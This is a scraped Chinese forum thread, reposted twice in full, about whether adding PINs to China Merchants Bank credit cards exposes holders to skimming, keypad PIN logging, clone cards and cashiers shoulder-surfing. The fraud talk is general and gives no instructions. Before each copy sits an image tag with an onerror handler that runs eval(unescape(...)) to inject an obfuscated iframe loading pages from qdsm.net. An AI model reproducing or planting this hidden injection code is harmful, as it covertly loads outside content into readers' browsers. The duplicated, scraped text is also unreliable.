招商卡增加密码，会不会给持卡人带来新的风险？
[转贴 2010-04-04 16:19:45]
招商卡增加密码，会不会给持卡人带来新的风险？
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
那天看了关于磁条侧录设备的文章，突然想到，如果在pos机上加磁条侧录设备，会不会也能在pos上加装密码记录设备？
如果这样可能的话，犯罪集团就掌握了，磁条信息、密码（可能还包括签字）。
这会造成一部分伪卡风险被转嫁到持卡人身上。
--------------------------------------------------------------------
密码应该也是加密传输的吧? 如果真能录到密码 ... 危险了 ...
--------------------------------------------------------------------
为什么不能密码+签字双重保护，小偷偷到卡，花起来太容易了
--------------------------------------------------------------------
我们这里的吉之岛每次刷卡的时候都要在他们自己的收银机上刷一下，
那这样岂不是很危险！
--------------------------------------------------------------------
那样的话银行就得考虑换系统或者不要做卡业务了
--------------------------------------------------------------------
QUOTE:原帖由 scz 于 2007-12-14 18:37 发表
密码应该也是加密传输的吧? 如果真能录到密码 ... 危险了 ... 数据从pos机传到收单单位的过程中是否加密我不知道。
反正磁条侧录设备是在传输之前就已经读取了磁条信息。
同样道理，要是把密码记录装置安装在键盘里面，那就能取得密码了。
--------------------------------------------------------------------
QUOTE:原帖由 多走多看多嘴 于 2007-12-14 18:53 发表
那样的话银行就得考虑换系统或者不要做卡业务了 银行在增加信用卡密码的时候，同时增加了一句“凭密码交易视为本人交易”。
就这一句话，银行的风险就规避了。
真不知道增加信用卡密码验证到底是增加了谁的安全系数。
--------------------------------------------------------------------
深圳沃尔玛刷完卡后也要在收银机上再刷一下,不知会不会有风险!
--------------------------------------------------------------------
QUOTE:原帖由 gewind 于 2007-12-14 18:47 发表
为什么不能密码+签字双重保护，小偷偷到卡，花起来太容易了 如果能获取 磁条信息 成功制作克隆卡，只要在克隆卡的背面自己签上名字就可以了。
至少我认为，签名验证制度对克隆卡一点作用都没有。
--------------------------------------------------------------------
其实任何欺诈都是防不胜防的。就比如很多人都希望消费用密码，但还是存在是被盗窃资金的可能性，而且这种可能性还不小。其中收银员就是个例子，特别是超级市场的收银员。由于超级市场的特殊性，其收银台的布局就存在很大的漏洞，消费者和收银员都是站立的，而密码器又处于较低的条码扫描台上，消费者按秘密的时候收银员俯视很容易看见，加之超级市场往往是排对结帐，消费者就更难在自己周围建立适度的私密空间了。收银员记住消费者的密码，又有记录信用卡各项资料的签账单存根，这样在网上支付可谓水到渠成，容易至极。因此，我更推崇消费时无需密码，ATM及网付使用密码。当然关键还是要看紧自己的卡片啦！
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
那天看了关于磁条侧录设备的文章，突然想到，如果在pos机上加磁条侧录设备，会不会也能在pos上加装密码记录设备？
如果这样可能的话，犯罪集团就掌握了，磁条信息、密码（可能还包括签字）。
这会造成一部分伪卡风险被转嫁到持卡人身上。
--------------------------------------------------------------------
密码应该也是加密传输的吧? 如果真能录到密码 ... 危险了 ...
--------------------------------------------------------------------
为什么不能密码+签字双重保护，小偷偷到卡，花起来太容易了
--------------------------------------------------------------------
我们这里的吉之岛每次刷卡的时候都要在他们自己的收银机上刷一下，
那这样岂不是很危险！
--------------------------------------------------------------------
那样的话银行就得考虑换系统或者不要做卡业务了
--------------------------------------------------------------------
QUOTE:原帖由 scz 于 2007-12-14 18:37 发表
密码应该也是加密传输的吧? 如果真能录到密码 ... 危险了 ... 数据从pos机传到收单单位的过程中是否加密我不知道。
反正磁条侧录设备是在传输之前就已经读取了磁条信息。
同样道理，要是把密码记录装置安装在键盘里面，那就能取得密码了。
--------------------------------------------------------------------
QUOTE:原帖由 多走多看多嘴 于 2007-12-14 18:53 发表
那样的话银行就得考虑换系统或者不要做卡业务了 银行在增加信用卡密码的时候，同时增加了一句“凭密码交易视为本人交易”。
就这一句话，银行的风险就规避了。
真不知道增加信用卡密码验证到底是增加了谁的安全系数。
--------------------------------------------------------------------
深圳沃尔玛刷完卡后也要在收银机上再刷一下,不知会不会有风险!
--------------------------------------------------------------------
QUOTE:原帖由 gewind 于 2007-12-14 18:47 发表
为什么不能密码+签字双重保护，小偷偷到卡，花起来太容易了 如果能获取 磁条信息 成功制作克隆卡，只要在克隆卡的背面自己签上名字就可以了。
至少我认为，签名验证制度对克隆卡一点作用都没有。
--------------------------------------------------------------------
其实任何欺诈都是防不胜防的。就比如很多人都希望消费用密码，但还是存在是被盗窃资金的可能性，而且这种可能性还不小。其中收银员就是个例子，特别是超级市场的收银员。由于超级市场的特殊性，其收银台的布局就存在很大的漏洞，消费者和收银员都是站立的，而密码器又处于较低的条码扫描台上，消费者按秘密的时候收银员俯视很容易看见，加之超级市场往往是排对结帐，消费者就更难在自己周围建立适度的私密空间了。收银员记住消费者的密码，又有记录信用卡各项资料的签账单存根，这样在网上支付可谓水到渠成，容易至极。因此，我更推崇消费时无需密码，ATM及网付使用密码。当然关键还是要看紧自己的卡片啦！
郑重声明：资讯 【招商卡增加密码，会不会给持卡人带来新的风险？ - 出国金融- forums ...】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
